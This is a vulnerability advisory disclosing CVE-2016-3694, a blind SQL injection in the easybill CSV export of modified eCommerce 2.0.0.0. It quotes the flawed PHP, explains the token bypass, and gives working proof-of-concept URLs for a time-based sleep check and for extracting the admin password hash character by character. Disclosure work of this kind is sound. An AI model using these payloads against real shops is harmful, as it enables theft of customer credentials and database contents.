# Title: Blind Injection modified eCommerce 2.0.0.0 rev 9678# Date: 16.04.2016# Category: webapps# Vendor Homepage: http://www.modified-shop.org/download# Software Link: http://www.modified-shop.org/forum/index.php?action=downloads;sa=downfile&id=96# Version: 2.0.0.0 rev 9678# Tested on: Apache/2.4.7, PHP Version 5.5.9, Linux# Exploit Author: Felix Maduakor# Contact: Felix.Maduakor@rub.de# CVE: CVE-2016-3694
Product Description:
modified eCommerce is an Open Source shopsoftware
Vulnerability Details:
Attackable are the GET-parameters 'orders_status'and'customers_status' through 'easybillcsv.php':
File:[shoproot]/api/easybill/easybillcsv.php
[24]if(isset($_GET['token'])&&$_GET['token']== MODULE_EASYBILL_CSV_CRON_TOKEN){[25-61]...[62]}else{[63] die('Direct Access to this location is not allowed.');
As default option the easybill-module isnot installed and the constant MODULE_EASYBILL_CSV_CRON_TOKEN isnotset. As longas the easybill-module isnot installed, it is possible to bypass the restriction:[Shoproot]/api/easybill/easybillcsv.php?token=MODULE_EASYBILL_CSV_CRON_TOKEN
[35]if(count($_GET['orders_status'])>0){[36] $_GET['orders_status']= preg_replace("'[\r\n\s]+'",'', $_GET['orders_status']);[37] $orders_status = explode(',', $_GET['orders_status']);[38] $module->from_orders_status = implode("', '", $orders_status);[39]}[43]if(isset($_GET['customers_status'])){[44] $_GET['customers_status']= preg_replace("'[\r\n\s]+'",'', $_GET['customers_status']);[45] $customers_status = explode(',', $_GET['customers_status']);[46] $module->from_customers_status = implode("', '", $customers_status);[47]}
As you can see in lines 35-39and43-47 the GET-parameters 'orders_status'and'customers_status' are not escaped, but formatted (removed whitespaces, replaced commas with"', '"). They will be setas local variables of the "$module"-object.
File:[shoproot][admin-folder]/includes/modules/system/easybillcsv.php
[63] $export_query = xtc_db_query("SELECT DISTINCT o.orders_id
[64]FROM ".TABLE_ORDERS." o
[65]JOIN ".TABLE_ORDERS_STATUS_HISTORY." osh
[66]ON o.orders_id = osh.orders_id
[67] WHERE (o.orders_status IN ('" . $this->from_orders_status . "')[68]OR osh.orders_status_id IN ('" . $this->from_orders_status . "'))[69] AND (o.last_modified >='". date( "Y-m-d H:i:s", strtotime($this->from_order_date)) . "'[70]OR o.date_purchased >='". date( "Y-m-d H:i:s", strtotime($this->from_order_date)) . "')[71] AND o.customers_status IN ('" . $this->from_customers_status . "')[72]ORDER BY o.orders_id");
The unescaped GET-parameters get placed in the query on line 67,68and71.
Through the ORDER BY statement (with the explicit table-references) it isnot possible to use a union-based injection.
The injection cannot include whitespaces or commas.
POC [Proof of Concept]:
http://127.0.0.1/shop/api/easybill/easybillcsv.php?token=MODULE_EASYBILL_CSV_CRON_TOKEN&orders_status=-111'))or-sleep(5)/*&customers_status=*/%23
Will result in following query and execute the sleep-function for5 seconds:
SELECT DISTINCT o.orders_id
FROM ".TABLE_ORDERS." o
JOIN ".TABLE_ORDERS_STATUS_HISTORY." osh
ON o.orders_id = osh.orders_id
WHERE (o.orders_status IN ('-111'))or-sleep(5)/*long comment
*/#comment
ORDER BY o.orders_id
There are multiple ways to bypass the whitespace/comma-filter. A possible way to check if the first character of the admin-hashis'$' would be:
http://127.0.0.1/shop/api/easybill/easybillcsv.php?token=MODULE_EASYBILL_CSV_CRON_TOKEN&orders_status=-111'))or(Select(case(36)when(ascii(substring(`customers_password`FROM(1)FOR(1))))then-sleep(5)End)from`customers`where`customers_id`=1)/*&customers_status=*/%23
Timeline
-----[16.04.2016] Reporting vulnerability to vendor